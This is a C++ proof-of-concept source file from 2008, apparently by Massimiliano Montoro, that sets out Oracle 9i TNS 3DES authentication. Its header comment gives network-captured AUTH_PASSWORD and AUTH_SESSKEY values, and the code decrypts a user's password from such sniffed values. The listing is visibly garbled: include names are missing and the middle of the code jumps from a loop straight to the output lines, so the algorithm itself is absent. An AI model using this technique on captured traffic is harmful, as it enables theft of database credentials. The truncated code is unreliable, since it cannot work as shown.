/* _____________________________________________________________________________ Subject: Oracle 9i TNS 3DES authentication details Authors: Massimiliano Montoro Issue date: June, 21, 2008 ______________________________________________________________________________ This code shows the encryption algorithm used by Oracle 9i TNS protocol authentication. Recently I found on the Internet interesting articles about Oracle TNS security but no one of them covers the algorithm used by version 9i in details. The following documents: http://www.pwc.com/extweb/service.nsf/docid/3AC99308583CCE398025727400391E31/$file/oraauthdg_pub.pdf http://freeworld.thc.org/papers/thc-orakelsniffert.pdf do not describe the 3DES algorithm used by Oracle TNS 9i and the article http://soonerorlater.hu/index.khtml?article_id=511 only describe the oracle DLL functions used by it. The software "oradecrypt" at this link http://www.soonerorlater.hu/download/oradecrypt.zip can be used to check the correctness of encrypted authentication parameters AUTH_PASSWORD and AUTH_SESSKEY sent on the network but since it uses the native "oran10.dll" functions it is not useful to prove the effort made by Oracle guys to improve the security of TNS authentication protocol from version 8i to version 9i. Test authentication parameters captured from the network: username: PASSWORD9 AUTH_PASSWORD: 3078D7DE44385654CC952A9C56E2659B AUTH_SESSKEY: 8CF28B36E4F3D2095729CF59510003BF The following code will show the 3DES encryption algorithm to be used in order to check the correctness of the password "PASSWORD9" associated to the Oracle username "PASSWORD9". NOTE: The following code does not use native functions of "oran10.dll" or "oran9.dll" but the algorithm has been adapted to work with OpenSSL software. The code could be incomplete but correct enough to prove the concept. __________________________________________________________________________ The information in this document is provided "AS IS" without warranty of any kind. In no event shall the authors be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages due to the misuse of any information provided in this document and in the use of the software compiled from the following code. ______________________________________________________________________________ */ // filename: oracle_tns_3des_check.cpp #include "windows.h" #include #include unsigned char deskey_fixed[]={ 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef}; unsigned char oracle_xor_table1[] = { 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0}; int ORACLE_Hash (char* username, char *passwd, int passwd_len, unsigned char* oracle_hash) { char ToEncrypt[256]; char temp[256]; DES_cblock iv,iv2; DES_key_schedule ks1, ks2; int len=0; int j,ulen,plen; memset (ToEncrypt,0,sizeof(ToEncrypt)); strupr (username); strupr (passwd); ulen = strlen(username); plen = passwd_len; for (len=1,j=0; j\n"); printf ("*********************************************************\n\n"); printf ("Decrypted password: %s ", decrypted_password); if (strcmp (decrypted_password, "password9") == 0) printf ("(correct)\n"); else printf ("(failed)\n"); return 0; }